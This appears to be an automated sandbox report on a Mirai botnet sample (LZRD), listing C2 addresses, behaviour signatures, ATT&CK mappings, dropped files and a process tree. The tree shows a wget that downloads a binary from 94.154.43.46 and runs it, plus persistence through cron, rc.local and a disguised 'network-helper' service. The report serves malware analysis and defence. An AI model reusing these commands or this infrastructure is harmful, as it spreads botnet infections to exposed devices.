Overview

overview

10

Static

static

1

d0d585f6fb...43eb62

ubuntu-18.04-amd64

10

d0d585f6fb...43eb62

debian-9-armhf

10

d0d585f6fb...43eb62

debian-9-mips

d0d585f6fb...43eb62

debian-9-mipsel

Analysis

  • max time kernel
    10s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    30/07/2026, 15:48

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    d0d585f6fb79740adf8ce8165db6c5d391e4a3ade4fa5d8e54ae439c6b43eb62
  • Size 5KB
  • Sample260730-s8s46a1eqf
  • SHA256 d0d585f6fb79740adf8ce8165db6c5d391e4a3ade4fa5d8e54ae439c6b43eb62
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
botnetlzrddefense_evasiondiscoveryexecutionmiraipersistenceprivilege_escalationupx

Malware Config

Extracted

Family

  • mirai

Botnet

  • LZRD

C2

  • 8.8.8.8

  • 94.154.43.46

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

    persistence
  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Writes file to system bin folder 4 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Enumerates kernel/hardware configuration 1 TTPs 4 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to shm directory 4 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

Processes

  • /tmp/d0d585f6fb79740adf8ce8165db6c5d391e4a3ade4fa5d8e54ae439c6b43eb62
    /tmp/d0d585f6fb79740adf8ce8165db6c5d391e4a3ade4fa5d8e54ae439c6b43eb62
    1⤵
    • Executes dropped EXE
    • Modifies init.d
    • Modifies rc script
    • Modifies systemd
    • Writes file to shm directory
    PID:648
    • /bin/uname
      uname -m
      2⤵
        PID:651
      • /bin/pidof
        pidof sdfjgnjsdf sdfjgnjsdf.arm7
        2⤵
        • Reads runtime system information
        PID:653
      • /usr/bin/touch
        touch /dev/shm/.w
        2⤵
        • Writes file to shm directory
        PID:659
      • /bin/rm
        rm -f /dev/shm/.w
        2⤵
          PID:661
        • /usr/bin/touch
          touch /dev/shm/test_exec_648
          2⤵
          • Writes file to shm directory
          PID:665
        • /bin/rm
          rm -f /dev/shm/test_exec_648
          2⤵
            PID:669
          • /bin/chmod
            chmod 755 /dev/shm/.ex_648
            2⤵
            • File and Directory Permissions Modification
            PID:674
          • /dev/shm/.ex_648
            /dev/shm/.ex_648
            2⤵
              PID:676
            • /bin/rm
              rm -f /dev/shm/.ex_648
              2⤵
                PID:678
              • /bin/rm
                rm -f /dev/shm/sdfjgnjsdf.arm7
                2⤵
                  PID:680
                • /usr/bin/wget
                  wget -q "--timeout=10" http://94.154.43.46/static/js/sdfjgnjsdf.arm7 -O /dev/shm/sdfjgnjsdf.arm7
                  2⤵
                  • Writes file to shm directory
                  PID:682
                • /bin/chmod
                  chmod 755 /dev/shm/sdfjgnjsdf.arm7
                  2⤵
                  • File and Directory Permissions Modification
                  PID:688
                • /bin/sleep
                  sleep 2
                  2⤵
                    PID:690
                  • /dev/shm/sdfjgnjsdf.arm7
                    /dev/shm/sdfjgnjsdf.arm7
                    2⤵
                    • Modifies Watchdog functionality
                    • Writes file to system bin folder
                    PID:691
                  • /bin/mkdir
                    mkdir -p /var/lib/.system
                    2⤵
                      PID:725
                    • /dev/shm/sdfjgnjsdf.arm7
                      /dev/shm/sdfjgnjsdf.arm7
                      2⤵
                      • Modifies Watchdog functionality
                      • Writes file to system bin folder
                      PID:726
                    • /bin/cp
                      cp /dev/shm/sdfjgnjsdf.arm7 /var/lib/.system/sdfjgnjsdf.arm7
                      2⤵
                        PID:728
                      • /bin/chmod
                        chmod 755 /var/lib/.system/sdfjgnjsdf.arm7
                        2⤵
                        • File and Directory Permissions Modification
                        PID:732
                      • /bin/grep
                        grep -v /var/lib/.system/sdfjgnjsdf.arm7
                        2⤵
                          PID:734
                        • /usr/bin/crontab
                          crontab -l
                          2⤵
                            PID:733
                          • /usr/bin/crontab
                            crontab -
                            2⤵
                            • Creates/modifies Cron job
                            • Reads runtime system information
                            PID:736
                          • /bin/grep
                            grep -v sdfjgnjsdf
                            2⤵
                              PID:735
                            • /usr/bin/crontab
                              crontab -
                              2⤵
                              • Creates/modifies Cron job
                              • Reads runtime system information
                              PID:745
                            • /usr/bin/crontab
                              crontab -l
                              2⤵
                              • Reads runtime system information
                              PID:746
                            • /bin/chmod
                              chmod +x /etc/rc.local
                              2⤵
                              • File and Directory Permissions Modification
                              PID:750
                            • /bin/cat
                              cat
                              2⤵
                                PID:751
                              • /bin/systemctl
                                systemctl daemon-reload
                                2⤵
                                • Enumerates kernel/hardware configuration
                                PID:754
                              • /bin/systemctl
                                systemctl enable network-helper.service
                                2⤵
                                • Enumerates kernel/hardware configuration
                                • Reads runtime system information
                                PID:771
                              • /bin/systemctl
                                systemctl start network-helper.service
                                2⤵
                                • Enumerates kernel/hardware configuration
                                • Reads runtime system information
                                PID:784
                              • /bin/cat
                                cat
                                2⤵
                                  PID:799
                                • /bin/chmod
                                  chmod 755 /etc/init.d/network-helper
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:802
                                • /usr/sbin/update-rc.d
                                  update-rc.d network-helper defaults
                                  2⤵
                                    PID:803
                                    • /usr/local/sbin/systemctl
                                      systemctl daemon-reload
                                      3⤵
                                        PID:813
                                      • /usr/local/bin/systemctl
                                        systemctl daemon-reload
                                        3⤵
                                          PID:813
                                        • /usr/sbin/systemctl
                                          systemctl daemon-reload
                                          3⤵
                                            PID:813
                                          • /usr/bin/systemctl
                                            systemctl daemon-reload
                                            3⤵
                                              PID:813
                                            • /sbin/systemctl
                                              systemctl daemon-reload
                                              3⤵
                                                PID:813
                                              • /bin/systemctl
                                                systemctl daemon-reload
                                                3⤵
                                                • Enumerates kernel/hardware configuration
                                                • Reads runtime system information
                                                PID:813
                                            • /bin/rm
                                              rm -f /dev/shm/sdfjgnjsdf.arm7
                                              2⤵
                                                PID:841

                                            Network

                                                  MITRE ATT&CK Enterprise v16

                                                  Reconnaissance

                                                  Resource Development

                                                  Initial Access

                                                  Execution

                                                  Scheduled Task/Job

                                                  1
                                                  T1053

                                                  Cron

                                                  1
                                                  T1053.003

                                                  Persistence

                                                  Boot or Logon Autostart Execution

                                                  3
                                                  T1547

                                                  XDG Autostart Entries

                                                  1
                                                  T1547.013

                                                  Boot or Logon Initialization Scripts

                                                  2
                                                  T1037

                                                  RC Scripts

                                                  2
                                                  T1037.004

                                                  Create or Modify System Process

                                                  1
                                                  T1543

                                                  Systemd Service

                                                  1
                                                  T1543.002

                                                  Scheduled Task/Job

                                                  1
                                                  T1053

                                                  Cron

                                                  1
                                                  T1053.003

                                                  Privilege Escalation

                                                  Boot or Logon Autostart Execution

                                                  3
                                                  T1547

                                                  XDG Autostart Entries

                                                  1
                                                  T1547.013

                                                  Boot or Logon Initialization Scripts

                                                  2
                                                  T1037

                                                  RC Scripts

                                                  2
                                                  T1037.004

                                                  Create or Modify System Process

                                                  1
                                                  T1543

                                                  Systemd Service

                                                  1
                                                  T1543.002

                                                  Scheduled Task/Job

                                                  1
                                                  T1053

                                                  Cron

                                                  1
                                                  T1053.003

                                                  Defense Evasion

                                                  File and Directory Permissions Modification

                                                  1
                                                  T1222

                                                  Linux and Mac File and Directory Permissions Modification

                                                  1
                                                  T1222.002

                                                  Impair Defenses

                                                  1
                                                  T1562

                                                  Credential Access

                                                  Discovery

                                                  System Information Discovery

                                                  1
                                                  T1082

                                                  Lateral Movement

                                                  Collection

                                                  Command and Control

                                                  Exfiltration

                                                  Impact

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  .ex_648
                                                  • Path /dev/shm/.ex_648
                                                  • Size 10B
                                                  • SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  sdfjgnjsdf.arm7
                                                  • Path /dev/shm/sdfjgnjsdf.arm7
                                                  • Size 92KB
                                                  • SHA256 895307b7863bb04b77b81269f20b7394f72445447b1e9eb003d4c6ef00af9be4
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  network-helper
                                                  • Path /etc/init.d/network-helper
                                                  • Size 574B
                                                  • SHA256 befcd4016abb76e84b8b70b782424cdc8e591f2b47be8743674ffb6aa4523d37
                                                  • MD5 SHA1 SHA512 TLSH
                                                  Submit Download

                                                  rc.local
                                                  • Path /etc/rc.local
                                                  • Size 52B
                                                  • SHA256 26666efc90d979554f41c3afa532f90ff37270ec6249f80fb792d70f5698c75d
                                                  • MD5 SHA1 SHA512 TLSH
                                                  Submit Download

                                                  network-helper.service
                                                  • Path /etc/systemd/system/network-helper.service
                                                  • Size 291B
                                                  • SHA256 6bdaf46403147ae01ff52ef35fa673b1a83f49a3f4d5c51bd8d8ecc177819d17
                                                  • MD5 SHA1 SHA512 TLSH
                                                  Submit Download

                                                  tmp.XCbCWA
                                                  • Path /var/spool/cron/crontabs/tmp.XCbCWA
                                                  • Size 175B
                                                  • SHA256 68ed186fe2cbf785a941a4e38085650dad22d789f1b6b9f842fd5249e2316b2e
                                                  • MD5 SHA1 SHA512 TLSH
                                                  Submit Download

                                                  tmp.kH5TbM
                                                  • Path /var/spool/cron/crontabs/tmp.kH5TbM
                                                  • Size 237B
                                                  • SHA256 68b212bebf21b5f5f18091602dd667b3e4563cf6501c5e82ec55ffd6a54cf478
                                                  • MD5 SHA1 SHA512 TLSH
                                                  Submit Download